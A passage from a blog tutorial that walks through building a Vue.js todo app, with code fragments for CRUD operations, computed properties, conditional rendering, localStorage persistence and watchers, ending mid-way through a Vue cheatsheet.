<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> todoApp = <span class="keyword">new</span> Vue(&#123;</span><br><span class="line">  el: <span class="string">&#x27;.todoapp&#x27;</span>,</span><br><span class="line">  data: &#123;</span><br><span class="line">    title: <span class="string">&#x27;Todos&#x27;</span>,</span><br><span class="line">    todos: [</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn JavaScript ES6+ goodies&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn Vue&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Build something awesome&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">    ],</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>Now that we have the list on the data, we need to replace the <code>&lt;li&gt;</code> elements in <code>index.html</code> with each of the elements in the <code>data.todos</code> array.</p>
<p>Let’s do the CRUD (Create-Read-Update-Delete) of a Todo application.</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/2d1f2e5">review diff</a></p>
<h3 id="READ-List-rendering-with-v-for"><a href="#READ-List-rendering-with-v-for" class="headerlink" title="READ: List rendering with v-for"></a>READ: List rendering with <code>v-for</code></h3><p>As you can see everything starting with <code>v-</code> is defined by the Vue library.</p>
<p>We can iterate through elements using <code>v-for</code> as follows:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">li</span> <span class="attr">v-for</span>=<span class="string">&quot;todo in todos&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>&#123;&#123;todo.text&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Rule the web&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>You can remove the other <code>&lt;li&gt;</code> tag that was just a placeholder.</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/3dc4871">review diff</a></p>
<h3 id="CREATE-Todo-and-event-directives"><a href="#CREATE-Todo-and-event-directives" class="headerlink" title="CREATE Todo and event directives"></a>CREATE Todo and event directives</h3><p>We are going to implement the create functionality. We have a textbox, and when we press enter, we would like to add whatever we typed to the list.</p>
<p>In Vue, we can listen to an event using <code>v-on:EVENT_NAME</code>. E.g.:</p>
<ul>
<li>v-on:click</li>
<li>v-on:dbclick</li>
<li>v-on:keyup</li>
<li>v-on:keyup.enter</li>
</ul>
<p><strong>Protip</strong>: since <code>v-on:</code> is used a lot, there’s a shortcut <code>@</code>. E.g. Instead of <code>v-on:keyup.enter</code> it can be <code>@keyup.enter</code>.</p>
<p>Let’s use the <code>keyup.enter</code> to create a todo:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;new-todo&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;What needs to be done?&quot;</span></span></span><br><span class="line"><span class="tag">  <span class="attr">v-on:keyup.enter</span>=<span class="string">&quot;createTodo&quot;</span></span></span><br><span class="line"><span class="tag">  <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>On <code>enter</code> we are calling <code>createTodo</code> method, but it’s not defined yet. Let’s define it on <code>app.js</code> as follows:</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">methods: &#123;</span><br><span class="line">  createTodo(event) &#123;</span><br><span class="line">    <span class="keyword">const</span> textbox = event.target;</span><br><span class="line">    <span class="built_in">this</span>.todos.push(&#123; <span class="attr">text</span>: textbox.value, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;);</span><br><span class="line">    textbox.value = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/fcd305c">review diff</a></p>
<h3 id="Applying-classes-dynamically-amp-Vue-v-bind"><a href="#Applying-classes-dynamically-amp-Vue-v-bind" class="headerlink" title="Applying classes dynamically &amp; Vue v-bind"></a>Applying classes dynamically &amp; Vue <code>v-bind</code></h3><p>If you click the checkbox (or checkcirlcle) we would like the class <code>completed</code> to be applied to the element. We can accomplish this by using the <code>v-bind</code> directive.</p>
<p><code>v-bind</code> can be applied to any HTML attribute such as <code>class</code>, <code>title</code> and so forth. Since <code>v-bind</code> is used a lot we can have a shortcut <code>:</code>, so instead of <code>v-bind:class</code> it becomes <code>:class</code>.</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">li</span> <span class="attr">v-for</span>=<span class="string">&quot;todo in todos&quot;</span> <span class="attr">:class</span>=<span class="string">&quot;&#123; completed: todo.isDone &#125;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Now if a Todo list is completed, it will become cross out. However, if we click on the checkbox, it doesn’t update the <code>isDone</code> property.  Let’s fix that next.</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/2145c36">review diff</a></p>
<h3 id="Keep-DOM-and-data-in-sync-with-Vue-v-model"><a href="#Keep-DOM-and-data-in-sync-with-Vue-v-model" class="headerlink" title="Keep DOM and data in sync with Vue v-model"></a>Keep DOM and data in sync with Vue v-model</h3><p>The todos have a property called <code>isDone</code> if it’s true we want the checkbox to be marked. That’s data -&gt; DOM. We also want if we change the DOM (click the checkbox) we want to update the data (DOM -&gt; data). This bi-directional communication is easy to do using <code>v-model</code>, it will keep it in sync for you!</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> <span class="attr">v-model</span>=<span class="string">&quot;todo.isDone&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>If you test the app now, you can see when you click the checkbox; also the text gets cross out. Yay!</p>
<p>You can also go to the console and verify that if you change the data directly, it will immediately update the HTML. Type the following in the browser console where you todo app is running:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">todoApp.todos[2].isDone &#x3D; true</span><br></pre></td></tr></table></figure>
<p>You should see the update. Cool!</p>
<h3 id="UPDATE-todo-list-with-a-double-click"><a href="#UPDATE-todo-list-with-a-double-click" class="headerlink" title="UPDATE todo list with a double-click"></a>UPDATE todo list with a double-click</h3><p>We want to double click on any list and that it automatically becomes a checkbox. We have some CSS magic to do that, the only thing we need to do is to apply the <code>editing</code> class.</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- List items should get the class `editing` when editing and `completed` when marked as completed --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">li</span> <span class="attr">v-for</span>=<span class="string">&quot;todo in todos&quot;</span> <span class="attr">:class</span>=<span class="string">&quot;&#123; completed: todo.isDone &#125;&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> <span class="attr">v-model</span>=<span class="string">&quot;todo.isDone&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>&#123;&#123;todo.text&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Rule the web&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Similar to what we did with the <code>completed</code> class, we need to add a condition when we start editing.</p>
<p>Starting with the label, we want to start editing when we double-click on it. Vue provides <code>v-on:dblclick</code> or shorthand <code>@dblclick</code>:</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">label</span> @<span class="attr">dblclick</span>=<span class="string">&quot;startEditing(todo)&quot;</span>&gt;</span>&#123;&#123;todo.text&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>In the <code>app.js</code> we can define start editing as follows:</p>
<figure class="highlight js"><figcaption><span>app.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> todoApp = <span class="keyword">new</span> Vue(&#123;</span><br><span class="line">  el: <span class="string">&#x27;.todoapp&#x27;</span>,</span><br><span class="line">  data: &#123;</span><br><span class="line">    title: <span class="string">&#x27;Todos&#x27;</span>,</span><br><span class="line">    todos: [</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn JavaScript ES6+ goodies&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn Vue&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">text</span>: <span class="string">&#x27;Build something awesome&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">    ],</span><br><span class="line">    editing: <span class="literal">null</span>,</span><br><span class="line">  &#125;,</span><br><span class="line">  methods: &#123;</span><br><span class="line">    createTodo(event) &#123;</span><br><span class="line">      <span class="keyword">const</span> textbox = event.target;</span><br><span class="line">      <span class="built_in">this</span>.todos.push(&#123; <span class="attr">text</span>: textbox.value, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;);</span><br><span class="line">      textbox.value = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    &#125;,</span><br><span class="line">    startEditing(todo) &#123;</span><br><span class="line">      <span class="built_in">this</span>.editing = todo;</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>We created a new variable <code>editing</code> in data. We just set whatever todo we are currently editing. We want only to edit one at a time, so this works perfectly. When you double-click the label, the <code>startEditing</code> function is called and set the <code>editing</code> variable to the current todo element.</p>
<p>Next, we need to apply the <code>editing</code> class:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">li</span> <span class="attr">v-for</span>=<span class="string">&quot;todo in todos&quot;</span> <span class="attr">:class</span>=<span class="string">&quot;&#123; completed: todo.isDone, editing: todo === editing &#125;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>When <code>data.editing</code> matches the <code>todo</code> , then we apply the CSS class. Try it out!</p>
<p>If you try it out, you will notice you can enter on edit mode, but there’s no way to exit from it (yet). Let’s fix that.</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span></span></span><br><span class="line"><span class="tag">  @<span class="attr">keyup.esc</span>=<span class="string">&quot;cancelEditing&quot;</span></span></span><br><span class="line"><span class="tag">  @<span class="attr">keyup.enter</span>=<span class="string">&quot;finishEditing&quot;</span></span></span><br><span class="line"><span class="tag">  @<span class="attr">blur</span>=<span class="string">&quot;finishEditing&quot;</span></span></span><br><span class="line"><span class="tag">  <span class="attr">:value</span>=<span class="string">&quot;todo.text&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>First, we want the input textbox to have the <code>value</code> of the <code>todo.text</code> when we enter to the editing mode. We can accomplish this using <code>:value=&quot;todo.text&quot;</code>. Remember that colon <code>:</code> is a shorthand for <code>v-bind</code>.</p>
<p>Before, we implemented the <code>startEditing</code> function. Now, we need to complete the edit functionality with these two more methods:</p>
<ul>
<li><code>finishEditing</code>: applies changes to the <code>todo.text</code>. This is triggered by pressing <kbd>enter</kbd> or clicking elsewhere (blur).</li>
<li><code>cancelEditing</code>: discard the changes and leave <code>todos</code> list untouched. This happens when you press the <kbd>esc</kbd> key.</li>
</ul>
<p>Let’s go to the <code>app.js</code> and define these two functions.</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">finishEditing(event) &#123;</span><br><span class="line">  <span class="keyword">if</span> (!<span class="built_in">this</span>.editing) &#123; <span class="keyword">return</span>; &#125;</span><br><span class="line">  <span class="keyword">const</span> textbox = event.target;</span><br><span class="line">  <span class="built_in">this</span>.editing.text = textbox.value;</span><br><span class="line">  <span class="built_in">this</span>.editing = <span class="literal">null</span>;</span><br><span class="line">&#125;,</span><br><span class="line">cancelEditing() &#123;</span><br><span class="line">  <span class="built_in">this</span>.editing = <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Cancel is pretty straightforward. It just set editing to null.</p>
<p><code>finishEditing</code> will take the input current’s value (event.target.value) and copy over the todo element that is currently being edited. That’s it!</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/4af7d31">review diff</a></p>
<h3 id="DELETE-todo-list-on-click-event"><a href="#DELETE-todo-list-on-click-event" class="headerlink" title="DELETE todo list on @click event"></a>DELETE todo list on @click event</h3><p>Finally, the last step to complete the CRUD operations is deleting. We are going to listen for click events on the destroy icon:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span> @<span class="attr">click</span>=<span class="string">&quot;destroyTodo(todo)&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>also, <code>destroyTodo</code> implementation is as follows:</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">destroyTodo(todo) &#123;</span><br><span class="line">  <span class="keyword">const</span> index = <span class="built_in">this</span>.todos.indexOf(todo);</span><br><span class="line">  <span class="built_in">this</span>.todos.splice(index, <span class="number">1</span>);</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/a73e058">review diff</a></p>
<h3 id="Trimming-inputs"><a href="#Trimming-inputs" class="headerlink" title="Trimming inputs"></a>Trimming inputs</h3><p>It’s always a good idea to <code>trim</code> user inputs, so any accidental whitespace doesn’t get in the way with <code>textbox.value.trim()</code>.</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/45b4eed44abd9a4cfec3b3977b61fe7031ff6c4e">review diff</a></p>
<h3 id="Items-left-count-with-computed-properties"><a href="#Items-left-count-with-computed-properties" class="headerlink" title="Items left count with  computed properties"></a>Items left count with  <code>computed</code> properties</h3><p>Right now the <code>item left</code> count is always 0. We want the number of remaining tasks.  We could do something like this:</p>
<figure class="highlight html"><figcaption><span>anti-example</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">strong</span>&gt;</span>&#123;&#123; todos.filter(t =&gt; !t.isDone).length &#125;&#125;<span class="tag">&lt;/<span class="name">strong</span>&gt;</span> item(s) left<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>That’s a little ugly to stick out all that logic into the template. That’s why Vue has the <code>computed</code>  section!</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">computed: &#123;</span><br><span class="line">  activeTodos() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">t</span> =&gt;</span> !t.isDone);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now the template is cleaner:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">strong</span>&gt;</span>&#123;&#123; activeTodos.length &#125;&#125;<span class="tag">&lt;/<span class="name">strong</span>&gt;</span> item(s) left<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>You might ask, why use a computed property when we can create a method instead?</p>
<blockquote>
<p>Computed vs. Methods. Computed properties are <strong>cached</strong> and updated when their dependencies changes. The computed property would return immediately without having to evaluate the function if no changes happened. On the other hand, Methods will <strong>always</strong> run the function.</p>
</blockquote>
<p>Try completing other tasks and verify that the count gets updated.</p>
<p><img src="/images/items-left.gif" alt="items-left"></p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/24ae5a0f74c226325d88a2aaecad9e40b35760fb">review diff</a></p>
<h3 id="Clearing-completed-tasks-amp-conditional-rendering-with-v-show"><a href="#Clearing-completed-tasks-amp-conditional-rendering-with-v-show" class="headerlink" title="Clearing completed tasks &amp; conditional rendering with v-show"></a>Clearing completed tasks &amp; conditional rendering with <code>v-show</code></h3><p>We want to show <code>clear completed</code> button only if there are any completed task. We can accomplish this with the <code>v-show</code> directive:</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;clear-completed&quot;</span> @<span class="attr">click</span>=<span class="string">&quot;clearCompleted&quot;</span> <span class="attr">v-show</span>=<span class="string">&quot;completedTodos.length&quot;</span>&gt;</span>Clear completed<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>The v-show will hide the element if the expression evaluates to false or 0.</p>
<p>One way to clearing out completed tasks is by assigning the <code>activeTodos</code> property to the <code>todos</code>:</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">clearCompleted() &#123;</span><br><span class="line">  <span class="built_in">this</span>.todos = <span class="built_in">this</span>.activeTodos;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>Also, we have to add the computed property <code>completedTodos</code> that we use in the v-show</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">completedTodos() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">t</span> =&gt;</span> t.isDone);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/dd7dd90">review diff</a></p>
<h2 id="Vue-Conditional-Rendering-v-show-vs-v-if"><a href="#Vue-Conditional-Rendering-v-show-vs-v-if" class="headerlink" title="Vue Conditional Rendering: v-show vs v-if"></a>Vue Conditional Rendering: <code>v-show</code> vs <code>v-if</code></h2><p><code>v-show</code> and <code>v-if</code> looks very similar, but they work differently. <code>v-if</code> removes the element from the DOM and disable events, while <code>v-show</code> hides it with the CSS <code>display: none;</code>. So, <code>v-if</code> is more expensive than <code>v-show</code>.</p>
<blockquote>
<p>If you foresee the element being toggling visibility very often then you should use <code>v-show</code>. If not, then use <code>v-if</code>.</p>
</blockquote>
<p>We can hide the footer and central section if there’s no todo list.</p>
<figure class="highlight html"><figcaption><span>index.html (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;main&quot;</span> <span class="attr">v-if</span>=<span class="string">&quot;todos.length&quot;</span>&gt;</span>... <span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">footer</span> <span class="attr">class</span>=<span class="string">&quot;footer&quot;</span> <span class="attr">v-if</span>=<span class="string">&quot;todos.length&quot;</span>&gt;</span>...<span class="tag">&lt;/<span class="name">footer</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/790b241">review diff</a></p>
<h2 id="Local-Storage"><a href="#Local-Storage" class="headerlink" title="Local Storage"></a>Local Storage</h2><p>On every refresh, our list gets reset. This is useful for dev but not for users. Let’s persist our Todos in the local storage.</p>
<blockquote>
<p>Local storage vs. Session storage. <strong>Session</strong> data goes away when you close the window or expire after a specific time. <strong>Local storage</strong> doesn’t have an expiration time.</p>
</blockquote>
<p>The way <code>localStorage</code> works is straightforward. It is global variable and has only 4 methods:</p>
<ul>
<li><code>localStorage.setItem(key, value)</code>: key/value storage. <code>key</code> and <code>value</code> are coerced into a string.</li>
<li><code>localStorage.getItem(key)</code>: get the item by key.</li>
<li><code>localStorage.removeItem(key)</code>: remove item matching the key.</li>
<li><code>localStorage.clear()</code>: clear all items for the current hostname.</li>
</ul>
<p>We are going to use <code>getItem</code> and <code>setItem</code>. First we need to define a storage key:</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> LOCAL_STORAGE_KEY = <span class="string">&#x27;todo-app-vue&#x27;</span>;</span><br></pre></td></tr></table></figure>

<p>Then we replace <code>data.todos</code> to get items (if any) from the local storage:</p>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">data: &#123;</span><br><span class="line">  title: <span class="string">&#x27;Todos&#x27;</span>,</span><br><span class="line">  todos: <span class="built_in">JSON</span>.parse(<span class="built_in">localStorage</span>.getItem(LOCAL_STORAGE_KEY)) || [</span><br><span class="line">    &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn JavaScript ES6+ goodies&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">    &#123; <span class="attr">text</span>: <span class="string">&#x27;Learn Vue&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">    &#123; <span class="attr">text</span>: <span class="string">&#x27;Build something awesome&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">  ],</span><br><span class="line">  editing: <span class="literal">null</span>,</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p>We have to use <code>JSON.parse</code> because everything gets stored as a string and we need to convert it to an object.</p>
<p><code>getItem</code> will retrieve the saved todos from the <code>localstorage</code>. However, we are saying it yet. Let’s see how we can do that.</p>
<h2 id="Vue-Watchers"><a href="#Vue-Watchers" class="headerlink" title="Vue Watchers"></a>Vue Watchers</h2><p>For saving, we are going to use the Vue watchers.</p>
<blockquote>
<p>Vue watchers vs. Computed properties. Computed properties are usually used to “compute” and cache the value of 2 or more properties. Watchers are more low level than computed properties. Watchers allow you to “watch” for changes on a single property. This is useful for performing expensive operations like saving to DB, API calls and so on.</p>
</blockquote>
<figure class="highlight js"><figcaption><span>app.js (fragment)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">watch: &#123;</span><br><span class="line">  todos: &#123;</span><br><span class="line">    deep: <span class="literal">true</span>,</span><br><span class="line">    handler(newValue) &#123;</span><br><span class="line">      <span class="built_in">localStorage</span>.setItem(LOCAL_STORAGE_KEY, <span class="built_in">JSON</span>.stringify(newValue));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p>This expression watches for changes in our <code>todos</code> data. Deep means that it recursively watches for changes in the values inside arrays and objects. If there’s a change, we save them to the local storage.</p>
<p><a href="https://github.com/amejiarosario/vue-todo-app/commit/579da19">review diff</a></p>
<p>Once you change some todos, you will see they are stored in the local storage. You can access them using the browser’s dev tools:</p>
<p><img src="/images/local-storage-devtools.jpg" alt="local storage"></p>
<p>The last part to implement is the routing! However, for that, we need to explain some more concepts and will do that in the next post.</p>
<hr>
<p>In the next tutorial, we are going to switch gears a little bit and go deeper into Vue Components, Routing, and Local Storage. Stay tuned!</p>
<h2 id="Summary-Vue-cheatsheet"><a href="#Summary-Vue-cheatsheet" class="headerlink" title="Summary: Vue cheatsheet"></a>Summary: Vue cheatsheet</h2><p>We learned a lot! Here is a summary:</p>
<!-- encode html with https://mothereff.in/html-entities -->

<div class="table--responsive">
  <table class="table">
    <caption>Binders</caption>
    <thead>
      <th>Name</th>
      <th>Description</th>
      <th>Examples</th>
    </thead>
    <tbody>
      <tr>
        <td> Mustache </td>
        <td>Variable that is replaced with variable's value</td>
        <td>
          <pre><code>&#x3C;h1&#x3E;&#123;&#123; title &#125;&#125;&#x3C;/h1&#x3E;</code></pre>
        </td>
      </tr>
      <tr>
        <td> v-bind </td>
        <td>Bind to HTML attribute</td>
        <td>
          <pre>
          <code>
&#x3C;span v-bind:title=&#x22;tooltip&#x22;&#x3E;&#x3C;/span&#x3E;
&#x3C;div v-bind:id=&#x22;dynamicId&#x22;&#x3E;&#x3C;/div&#x3E;
